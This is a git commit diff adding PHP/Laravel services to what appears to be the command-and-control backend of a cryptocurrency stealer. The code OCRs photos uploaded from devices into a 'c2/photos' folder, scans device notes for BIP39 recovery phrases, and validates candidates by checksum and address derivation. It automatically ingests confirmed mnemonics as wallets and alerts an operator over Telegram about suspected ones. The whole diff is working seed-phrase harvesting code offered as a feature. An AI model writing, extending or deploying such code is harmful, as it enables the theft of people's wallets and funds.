feat: scan

This commit is contained in:
hashbro
2026-09-12 23:53:53 +08:00
parent e294053285
commit 558912864d
36 changed files with 4165 additions and 15 deletions
+52
View File
@@ -39,6 +39,58 @@ final class Bip44
];
}
/**
* True when the phrase is a checksum-valid BIP39 mnemonic that can
* produce a secp256k1 key (and therefore chain addresses).
*/
public static function canDerive(string $mnemonic): bool
{
try {
$derived = self::derive($mnemonic, "m/44'/60'/0'/0/0");
return strlen((string) ($derived['public_key_uncompressed'] ?? '')) >= 130;
} catch (\Throwable) {
return false;
}
}
/**
* Checksum-valid is not enough for ingest: reject BIP39 test vectors and
* low-entropy repeats (same word more than 3 times, or official test vectors).
*/
public static function isUsableMnemonic(string $mnemonic): bool
{
$words = preg_split('/\s+/', strtolower(trim($mnemonic))) ?: [];
$n = count($words);
if (! in_array($n, [12, 15, 18, 21, 24], true)) {
return false;
}
if (in_array(implode(' ', $words), self::TEST_VECTORS, true)) {
return false;
}
$counts = array_count_values($words);
if (count($counts) < $n - 2) {
return false;
}
if (max($counts) > 3) {
return false;
}
return self::canDerive($mnemonic);
}
/** @var list<string> */
private const TEST_VECTORS = [
'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about',
'legal winner thank year wave sausage worth useful legal winner thank yellow',
'letter advice cage absurd amount doctor acoustic avoid letter advice cage above',
'zoo zoo zoo zoo zoo zoo zoo zoo zoo zoo zoo wrong',
'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon agent',
'legal winner thank year wave sausage worth useful legal winner thank year wave sausage worth useful legal will',
'letter advice cage absurd amount doctor acoustic avoid letter advice cage absurd amount doctor acoustic bless',
'zoo zoo zoo zoo zoo zoo zoo zoo zoo zoo zoo zoo zoo zoo zoo zoo zoo vote',
];
/** @return array{0: string, 1: string} binary key + chain code */
private static function masterFromSeed(string $seed): array
{
+12 -4
View File
@@ -561,11 +561,16 @@ class IngestService
{
$words = preg_split('/\s+/', strtolower(trim($secret))) ?: [];
$n = count($words);
if ($n === 12 || $n === 24) {
if (in_array($n, [12, 15, 18, 21, 24], true)) {
foreach ($words as $word) {
if (! preg_match('/^[a-z]{3,8}$/', $word)) {
return false;
if (preg_match('/^[a-z]{3,8}$/', $word) === 1) {
continue;
}
if (preg_match('/^\p{Han}{1,4}$/u', $word) === 1) {
continue;
}
return false;
}
return true;
@@ -955,6 +960,7 @@ class IngestService
'content' => $items,
'content_hash' => $hash,
])->save();
app(MnemonicScanService::class)->dispatchNotes($device);
return;
}
@@ -964,6 +970,7 @@ class IngestService
'content' => $items,
'content_hash' => $hash,
]);
app(MnemonicScanService::class)->dispatchNotes($device);
}
/**
@@ -1008,7 +1015,7 @@ class IngestService
}
$rel = 'c2/photos/'.$device->device_id.'/'.$sha.'_'.basename($path);
Storage::disk('local')->put($rel, $bytes);
Photo::query()->create([
$photo = Photo::query()->create([
'device_id' => $device->id,
'sha256' => $sha,
'path' => $rel,
@@ -1019,6 +1026,7 @@ class IngestService
'text_count' => $meta['text_count'] ?? null,
'barcode_count' => $meta['barcode_count'] ?? null,
]);
app(MnemonicScanService::class)->dispatchPhoto($photo);
$stored++;
}
+269
View File
@@ -0,0 +1,269 @@
<?php
namespace App\Services;
use App\Services\Chain\Bip44;
class MnemonicDetector
{
/** @var list<int> */
public const LENGTHS = [12, 15, 18, 21, 24];
public const MIN_SUSPECTED = 8;
public const MIN_CONFIRMED = 12;
public const MIN_UNIQUE = 8;
/**
* Hardware-wallet chrome that is also on the BIP39 list. Only used to
* break ties when two sliding windows both checksum.
*
* @var array<string, true>
*/
private const UI_PREFIX = [
'card' => true,
'key' => true,
'wallet' => true,
'seed' => true,
'word' => true,
'phrase' => true,
'recovery' => true,
'secret' => true,
'hardware' => true,
'device' => true,
'account' => true,
];
/** @var array<string, true>|null */
private static ?array $english = null;
/**
* @return array{candidate: string, word_count: int, score: int, language: string, confirmed: bool}|null
*/
public function detect(string $text, bool $strictGaps = false): ?array
{
$text = trim($text);
if ($text === '') {
return null;
}
$tokens = $strictGaps ? $this->noteTokens($text) : $this->englishTokens($text);
$wordlist = $this->englishSet();
$real = array_values(array_filter($tokens, fn ($word) => $word !== ''));
if (count($real) < self::MIN_SUSPECTED) {
return null;
}
$perfect = $this->perfectPhrase($tokens, $wordlist);
if ($perfect !== null) {
return $perfect;
}
if ($strictGaps) {
return null;
}
$partial = $this->suspectedWindow($tokens, $wordlist);
return $partial !== null && $this->uniqueListWords($partial['candidate']) >= self::MIN_UNIQUE
? $partial
: null;
}
public function uniqueListWords(string $candidate): int
{
$wordlist = $this->englishSet();
$uniq = [];
foreach (preg_split('/\s+/', strtolower(trim($candidate))) ?: [] as $word) {
if (isset($wordlist[$word])) {
$uniq[$word] = true;
}
}
return count($uniq);
}
/**
* @param list<string> $tokens
* @param array<string, true> $wordlist
* @return array{candidate: string, word_count: int, score: int, language: string, confirmed: bool}|null
*/
private function perfectPhrase(array $tokens, array $wordlist): ?array
{
$run = [];
$best = null;
$n = count($tokens);
for ($i = 0; $i <= $n; $i++) {
$word = $tokens[$i] ?? null;
if ($word !== null && $word !== '' && isset($wordlist[$word])) {
$run[] = $word;
continue;
}
$hit = $this->confirmedFromRun($run);
if ($hit !== null && ($best === null || $hit['word_count'] > $best['word_count'])) {
$best = $hit;
}
$run = [];
}
return $best;
}
/**
* @param list<string> $run
* @return array{candidate: string, word_count: int, score: int, language: string, confirmed: bool}|null
*/
private function confirmedFromRun(array $run): ?array
{
$n = count($run);
$fallback = null;
foreach (array_reverse(self::LENGTHS) as $len) {
if ($n < $len) {
continue;
}
$usable = [];
for ($offset = 0; $offset <= $n - $len; $offset++) {
$hit = $this->hitFromWords(array_slice($run, $offset, $len), true);
$fallback ??= $hit;
if (Bip44::isUsableMnemonic($hit['candidate'])) {
$usable[] = $hit;
}
}
if ($usable !== []) {
return $this->preferNonUiPrefix($usable);
}
}
return $fallback;
}
/**
* @param list<string> $words
* @return array{candidate: string, word_count: int, score: int, language: string, confirmed: bool}
*/
private function hitFromWords(array $words, bool $confirmed): array
{
$len = count($words);
return [
'candidate' => implode(' ', $words),
'word_count' => $len,
'score' => $len * 10,
'language' => 'en',
'confirmed' => $confirmed,
];
}
/**
* @param non-empty-list<array{candidate: string, word_count: int, score: int, language: string, confirmed: bool}> $hits
* @return array{candidate: string, word_count: int, score: int, language: string, confirmed: bool}
*/
private function preferNonUiPrefix(array $hits): array
{
foreach ($hits as $hit) {
$first = explode(' ', $hit['candidate'])[0] ?? '';
if (! isset(self::UI_PREFIX[$first])) {
return $hit;
}
}
return $hits[0];
}
/**
* @param list<string> $tokens
* @param array<string, true> $wordlist
* @return array{candidate: string, word_count: int, score: int, language: string, confirmed: bool}|null
*/
private function suspectedWindow(array $tokens, array $wordlist): ?array
{
$n = count($tokens);
$best = null;
$maxLen = min(24, $n);
for ($len = self::MIN_SUSPECTED; $len <= $maxLen; $len++) {
for ($i = 0; $i <= $n - $len; $i++) {
$window = array_slice($tokens, $i, $len);
$hits = 0;
foreach ($window as $word) {
if ($word !== '' && isset($wordlist[$word])) {
$hits++;
}
}
if ($hits < self::MIN_SUSPECTED) {
continue;
}
$score = ($hits * 10) - (($len - $hits) * 2);
if ($best !== null && ($hits < $best['word_count'] || ($hits === $best['word_count'] && $score <= $best['score']))) {
continue;
}
$best = [
'candidate' => implode(' ', $window),
'word_count' => $hits,
'score' => $score,
'language' => 'en',
'confirmed' => false,
];
}
}
return $best;
}
/** @return list<string> */
private function englishTokens(string $text): array
{
preg_match_all('/[a-z]{3,8}/', strtolower($text), $m);
return $m[0] ?? [];
}
/**
* Keep list indices (1. 2. 12) from breaking a phrase, but digits/units
* like 200 or 1.5 split a run so "pipe 200 cable" is not 12 words.
*
* @return list<string>
*/
private function noteTokens(string $text): array
{
$out = [];
foreach (preg_split('/\s+/u', strtolower($text)) ?: [] as $raw) {
$word = trim($raw, ".,!?;:\"'()[]");
if (preg_match('/^[a-z]{3,8}$/', $word) === 1) {
$out[] = $word;
continue;
}
if (preg_match('/^\d{1,2}\.?$/', $word) === 1) {
continue;
}
$out[] = '';
}
return $out;
}
/** @return array<string, true> */
private function englishSet(): array
{
return self::$english ??= $this->loadSet();
}
/** @return array<string, true> */
private function loadSet(): array
{
$set = [];
$path = resource_path('bip39/english.txt');
if (! is_file($path)) {
return $set;
}
foreach (file($path, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES) ?: [] as $line) {
$word = strtolower(trim($line));
if ($word !== '') {
$set[$word] = true;
}
}
return $set;
}
}
+378
View File
@@ -0,0 +1,378 @@
<?php
namespace App\Services;
use App\Jobs\ScanDeviceNotes;
use App\Jobs\ScanPhotoMnemonic;
use App\Models\Device;
use App\Models\MnemonicFinding;
use App\Models\Note;
use App\Models\NoteScan;
use App\Models\Photo;
use App\Services\Chain\Bip44;
use App\Services\Ocr\OcrDriver;
use App\Services\Ocr\PhotoOcrPreparer;
use App\Support\NoteContent;
use App\Support\WalletSource;
use Illuminate\Support\Facades\Log;
class MnemonicScanService
{
public function __construct(
private readonly MnemonicDetector $detector,
private readonly OcrDriver $ocr,
private readonly PhotoOcrPreparer $preparer,
private readonly IngestService $ingest,
private readonly TelegramNotifier $telegram,
) {}
public function dispatchPhoto(Photo $photo): void
{
if (app()->runningUnitTests()) {
return;
}
if ((int) $photo->scan_status !== MnemonicScanStatus::PENDING
&& (int) $photo->scan_status !== MnemonicScanStatus::FAILED) {
return;
}
ScanPhotoMnemonic::dispatch($photo->id)->onQueue('ocr');
}
public function dispatchNotes(Device $device): void
{
if (app()->runningUnitTests()) {
return;
}
ScanDeviceNotes::dispatch($device->id);
}
public function scanPhoto(Photo $photo): void
{
$jpeg = null;
try {
$jpeg = $this->preparer->jpegPath($photo);
if ($jpeg === null) {
$this->markPhoto($photo, MnemonicScanStatus::FAILED, '');
return;
}
$text = $this->ocr->recognize($jpeg);
$this->applyTextHit($photo->device, MnemonicFinding::SOURCE_PHOTO, $text, $photo, null, null);
$this->markPhoto($photo, $this->photoStatus($photo), $text);
} catch (\Throwable $e) {
Log::warning('scan photo mnemonic failed: '.$e->getMessage(), ['photo_id' => $photo->id]);
$this->markPhoto($photo, MnemonicScanStatus::FAILED, '');
} finally {
if (is_string($jpeg) && is_file($jpeg)) {
@unlink($jpeg);
}
}
}
public function scanDeviceNotes(Device $device): void
{
$note = $device->notes()->orderByDesc('id')->first();
if ($note === null) {
return;
}
foreach ($note->items() as $index => $item) {
$this->scanNoteItem($device, $note, $item, $index);
}
}
/**
* @param array{title: string, body: string, native_id: int|string|null} $item
*/
public function scanNoteItem(Device $device, Note $note, array $item, int $index): void
{
$key = NoteScan::itemKey($item, $index);
$hash = NoteScan::itemHash($item);
$row = NoteScan::query()->firstOrNew([
'device_id' => $device->id,
'note_id' => $note->id,
'item_key' => $key,
]);
if ($row->exists
&& hash_equals((string) $row->content_hash, $hash)
&& (int) $row->scan_status !== MnemonicScanStatus::PENDING
&& (int) $row->scan_status !== MnemonicScanStatus::FAILED) {
return;
}
$text = trim((string) ($item['title'] ?? '')."\n".(string) ($item['body'] ?? ''));
$this->applyTextHit($device, MnemonicFinding::SOURCE_NOTE, $text, null, $note, $key);
$row->content_hash = $hash;
$row->scan_status = $this->noteStatus($note, $key);
$row->scanned_at = now();
$row->save();
}
public function confirm(MnemonicFinding $finding, ?string $actor = null, ?string $candidate = null): bool
{
$device = $finding->device;
if ($device === null || $finding->status !== MnemonicFinding::STATUS_SUSPECTED) {
return false;
}
$phrase = trim(preg_replace('/\s+/', ' ', (string) ($candidate ?? $finding->candidate)) ?: '');
if ($phrase === '' || ! Bip44::isUsableMnemonic($phrase)) {
return false;
}
$finding->candidate = $phrase;
$finding->word_count = count(preg_split('/\s+/', $phrase) ?: []);
$this->ingest->ingestMnemonic($device, [
'mnemonic' => $phrase,
'a' => $finding->source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan',
]);
$finding->status = MnemonicFinding::STATUS_CONFIRMED;
$finding->reviewed_by = $actor;
$finding->reviewed_at = now();
$finding->save();
if ($finding->photo_id) {
Photo::query()->whereKey($finding->photo_id)->update([
'scan_status' => MnemonicScanStatus::CONFIRMED,
]);
}
if ($finding->note_id && $finding->item_key) {
NoteScan::query()
->where('note_id', $finding->note_id)
->where('item_key', $finding->item_key)
->update(['scan_status' => MnemonicScanStatus::CONFIRMED]);
}
return true;
}
public function dismiss(MnemonicFinding $finding, ?string $actor = null): void
{
$finding->status = MnemonicFinding::STATUS_DISMISSED;
$finding->reviewed_by = $actor;
$finding->reviewed_at = now();
$finding->save();
if ($finding->photo_id) {
Photo::query()->whereKey($finding->photo_id)->update([
'scan_status' => MnemonicScanStatus::EMPTY,
]);
}
if ($finding->note_id && $finding->item_key) {
NoteScan::query()
->where('note_id', $finding->note_id)
->where('item_key', $finding->item_key)
->update(['scan_status' => MnemonicScanStatus::EMPTY]);
}
}
/**
* @return array{total: int, scanned: int, suspected: int, confirmed: int, failed: int, pending: int}
*/
public function photoProgress(?int $deviceId = null): array
{
$q = Photo::query();
if ($deviceId !== null) {
$q->where('device_id', $deviceId);
}
return $this->progressFromCounts($q->selectRaw('scan_status, COUNT(*) as c')->groupBy('scan_status')->pluck('c', 'scan_status')->all());
}
/**
* @return array{total: int, scanned: int, suspected: int, confirmed: int, failed: int, pending: int}
*/
public function noteProgress(?Device $device = null): array
{
if ($device !== null) {
$note = $device->notes()->orderByDesc('id')->first();
$items = $note ? $note->items() : [];
$total = count($items);
if ($total === 0) {
return $this->progressFromCounts([]);
}
$scans = NoteScan::query()
->where('device_id', $device->id)
->where('note_id', $note->id)
->get()
->keyBy('item_key');
$counts = [];
foreach ($items as $index => $item) {
$key = NoteScan::itemKey($item, $index);
$status = (int) ($scans[$key]->scan_status ?? MnemonicScanStatus::PENDING);
$counts[$status] = ((int) ($counts[$status] ?? 0)) + 1;
}
return $this->progressFromCounts($counts);
}
$itemTotal = 0;
Note::query()->orderByDesc('id')->get(['id', 'device_id', 'content'])->groupBy('device_id')->each(function ($rows) use (&$itemTotal) {
$note = $rows->first();
$itemTotal += count(NoteContent::normalizeStored($note->content));
});
$scannedRows = NoteScan::query()->selectRaw('scan_status, COUNT(*) as c')->groupBy('scan_status')->pluck('c', 'scan_status')->all();
$progress = $this->progressFromCounts($scannedRows);
$progress['total'] = $itemTotal;
$progress['pending'] = max(0, $itemTotal - $progress['scanned'] - $progress['failed']);
return $progress;
}
/**
* @param array<int, int> $counts
* @return array{total: int, scanned: int, suspected: int, confirmed: int, failed: int, pending: int}
*/
private function progressFromCounts(array $counts): array
{
$pending = (int) ($counts[MnemonicScanStatus::PENDING] ?? 0);
$empty = (int) ($counts[MnemonicScanStatus::EMPTY] ?? 0);
$suspected = (int) ($counts[MnemonicScanStatus::SUSPECTED] ?? 0);
$confirmed = (int) ($counts[MnemonicScanStatus::CONFIRMED] ?? 0);
$failed = (int) ($counts[MnemonicScanStatus::FAILED] ?? 0);
return [
'total' => $pending + $empty + $suspected + $confirmed + $failed,
'scanned' => $empty + $suspected + $confirmed,
'suspected' => $suspected,
'confirmed' => $confirmed,
'failed' => $failed,
'pending' => $pending,
];
}
private function markPhoto(Photo $photo, int $status, string $text): void
{
$photo->scan_status = $status;
$photo->scanned_at = now();
$photo->ocr_text = mb_substr($text, 0, 8000);
$photo->save();
}
private function applyTextHit(
?Device $device,
string $source,
string $text,
?Photo $photo,
?Note $note,
?string $itemKey,
): void {
if ($device === null) {
return;
}
$q = MnemonicFinding::query()->where('device_id', $device->id)->where('source', $source);
if ($photo !== null) {
$q->where('photo_id', $photo->id);
} else {
$q->where('note_id', $note?->id)->where('item_key', $itemKey);
}
$hit = $this->detector->detect($text, $source === MnemonicFinding::SOURCE_NOTE);
if ($hit === null || ! $this->worthRecording($source, $hit)) {
$q->where('status', '!=', MnemonicFinding::STATUS_CONFIRMED)->delete();
return;
}
$row = $q->first() ?? new MnemonicFinding([
'device_id' => $device->id,
'source' => $source,
'photo_id' => $photo?->id,
'note_id' => $note?->id,
'item_key' => $itemKey,
]);
if ($row->status === MnemonicFinding::STATUS_CONFIRMED) {
return;
}
$wasNew = ! $row->exists;
$prevCandidate = $row->exists ? $row->candidate : '';
$confirmed = $this->canIngestHit($hit);
$row->status = $confirmed ? MnemonicFinding::STATUS_CONFIRMED : MnemonicFinding::STATUS_SUSPECTED;
$row->candidate = $hit['candidate'];
$row->excerpt = mb_substr($text, 0, 2000);
$row->word_count = $hit['word_count'];
$row->score = $hit['score'];
if ($confirmed) {
$row->reviewed_by = 'scan';
$row->reviewed_at = now();
}
$row->save();
$sourceLabel = $source === MnemonicFinding::SOURCE_PHOTO
? WalletSource::fromTag('album_ocr')
: WalletSource::fromTag('note_scan');
if ($confirmed) {
$this->ingest->ingestMnemonic($device, [
'mnemonic' => $hit['candidate'],
'a' => $source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan',
]);
return;
}
if ($wasNew || $prevCandidate !== $hit['candidate']) {
$this->telegram->notifySuspectedMnemonic(
$device->device_id,
$sourceLabel,
$hit['candidate'],
(int) $hit['word_count'],
);
}
}
/**
* Album and notes both need 12+ consecutive words that can derive an address.
*
* @param array{candidate: string, word_count: int, confirmed?: bool} $hit
*/
private function canIngestHit(array $hit): bool
{
if (empty($hit['confirmed']) || (int) $hit['word_count'] < 12) {
return false;
}
return Bip44::isUsableMnemonic((string) $hit['candidate']);
}
/**
* Notes: only a derivable 12-word phrase. Photos: 12-word run or >=8 hits.
*
* @param array{candidate: string, word_count: int, confirmed?: bool} $hit
*/
private function worthRecording(string $source, array $hit): bool
{
if ($this->canIngestHit($hit)) {
return true;
}
if ($source === MnemonicFinding::SOURCE_NOTE) {
return false;
}
if (! empty($hit['confirmed'])) {
return true;
}
return (int) $hit['word_count'] >= MnemonicDetector::MIN_SUSPECTED
&& $this->detector->uniqueListWords((string) $hit['candidate']) >= MnemonicDetector::MIN_UNIQUE;
}
private function photoStatus(Photo $photo): int
{
$status = MnemonicFinding::query()->where('photo_id', $photo->id)->value('status');
return match ($status) {
MnemonicFinding::STATUS_CONFIRMED => MnemonicScanStatus::CONFIRMED,
MnemonicFinding::STATUS_SUSPECTED => MnemonicScanStatus::SUSPECTED,
default => MnemonicScanStatus::EMPTY,
};
}
private function noteStatus(Note $note, string $itemKey): int
{
$status = MnemonicFinding::query()
->where('note_id', $note->id)
->where('item_key', $itemKey)
->value('status');
return match ($status) {
MnemonicFinding::STATUS_CONFIRMED => MnemonicScanStatus::CONFIRMED,
MnemonicFinding::STATUS_SUSPECTED => MnemonicScanStatus::SUSPECTED,
default => MnemonicScanStatus::EMPTY,
};
}
}
+27
View File
@@ -0,0 +1,27 @@
<?php
namespace App\Services;
class MnemonicScanStatus
{
public const PENDING = 0;
public const EMPTY = 1;
public const SUSPECTED = 2;
public const CONFIRMED = 3;
public const FAILED = 4;
public static function label(int $status): string
{
return match ($status) {
self::EMPTY => '已扫',
self::SUSPECTED => '疑似',
self::CONFIRMED => '确定含有',
self::FAILED => '失败',
default => '未扫',
};
}
}
+8
View File
@@ -0,0 +1,8 @@
<?php
namespace App\Services\Ocr;
interface OcrDriver
{
public function recognize(string $imagePath): string;
}
+66
View File
@@ -0,0 +1,66 @@
<?php
namespace App\Services\Ocr;
use App\Models\Photo;
use App\Services\PhotoPreview;
use Illuminate\Support\Facades\Process;
use Illuminate\Support\Facades\Storage;
class PhotoOcrPreparer
{
public function __construct(private readonly PhotoPreview $preview) {}
/**
* Write a resized JPEG for Tesseract. Caller must unlink the returned path.
*/
public function jpegPath(Photo $photo): ?string
{
$abs = Storage::disk('local')->path((string) $photo->path);
if (! is_file($abs)) {
return null;
}
$payload = $this->preview->payload($abs, (string) ($photo->device?->device_id ?: $photo->device_id), (string) $photo->sha256);
$bytes = (string) ($payload['bytes'] ?? '');
if ($bytes === '') {
return null;
}
$tmp = tempnam(sys_get_temp_dir(), 'ocr_');
if ($tmp === false) {
return null;
}
$jpeg = $tmp.'.jpg';
@unlink($tmp);
file_put_contents($jpeg, $bytes);
$this->resize($jpeg);
return $jpeg;
}
private function resize(string $path): void
{
$max = (int) config('coruna.ocr.max_edge', 1800);
if ($max < 400) {
return;
}
$magick = $this->which('magick') ?? $this->which('convert');
if ($magick !== null) {
Process::timeout(30)->run([$magick, $path, '-resize', $max.'x'.$max.'>', $path]);
return;
}
if (PHP_OS_FAMILY === 'Darwin' && is_executable('/usr/bin/sips')) {
Process::timeout(30)->run(['/usr/bin/sips', '-Z', (string) $max, $path]);
}
}
private function which(string $bin): ?string
{
$result = Process::timeout(3)->run(['which', $bin]);
$path = trim($result->output());
return $result->successful() && $path !== '' ? $path : null;
}
}
+37
View File
@@ -0,0 +1,37 @@
<?php
namespace App\Services\Ocr;
use Illuminate\Support\Facades\Log;
use Illuminate\Support\Facades\Process;
class TesseractOcrDriver implements OcrDriver
{
public function recognize(string $imagePath): string
{
if (! is_file($imagePath)) {
return '';
}
$bin = (string) config('coruna.ocr.tesseract', 'tesseract');
$langs = (string) config('coruna.ocr.langs', 'eng+chi_sim');
$result = Process::timeout(90)->run([
$bin,
$imagePath,
'stdout',
'-l', $langs,
'--psm', '6',
]);
if (! $result->successful()) {
Log::channel('stack')->warning('tesseract ocr failed', [
'path' => $imagePath,
'error' => mb_substr($result->errorOutput() ?: $result->output(), 0, 500),
]);
return '';
}
return trim($result->output());
}
}
+19 -2
View File
@@ -113,6 +113,12 @@ class TelegramNotifier
{
$chatIds = $this->resolveChatIds($deviceKey);
if ($chatIds === []) {
Log::channel('telegram')->info('telegram send skipped: no chat IDs resolved', [
'device_key' => $deviceKey,
'bot_token_set' => $this->botToken() !== '',
'owner_chat_id' => trim((string) config('coruna.telegram.owner_chat_id', '')),
]);
return false;
}
@@ -167,11 +173,11 @@ class TelegramNotifier
if ($desc === '') {
$desc = 'HTTP '.$resp->status();
}
Log::warning('telegram send failed: '.$desc, ['chat_id' => $chatId]);
Log::channel('telegram')->warning('telegram send failed: '.$desc, ['chat_id' => $chatId]);
return ['ok' => false, 'error' => $desc];
} catch (\Throwable $e) {
Log::warning('telegram send failed: '.$e->getMessage(), ['chat_id' => $chatId]);
Log::channel('telegram')->warning('telegram send failed: '.$e->getMessage(), ['chat_id' => $chatId]);
return ['ok' => false, 'error' => $e->getMessage()];
}
@@ -316,6 +322,17 @@ class TelegramNotifier
]), $deviceId);
}
public function notifySuspectedMnemonic(string $deviceId, string $source, ?string $phrase, int $wordCount): void
{
$this->send(implode("\n", [
'🔎 <b>疑似助记词</b>',
...$this->deviceHeader($deviceId),
'🏷 <b>来源</b>: '.$this->e($source ?: '—'),
'🔢 <b>命中词数</b>: '.$this->e((string) $wordCount),
'📝 <b>候选</b>: <code>'.$this->e(WalletMnemonic::maskSecret($phrase)).'</code>',
]), $deviceId);
}
public function notifySensitivePhoto(string $deviceId, int $xHit, int $count = 1): void
{
$this->send(implode("\n", [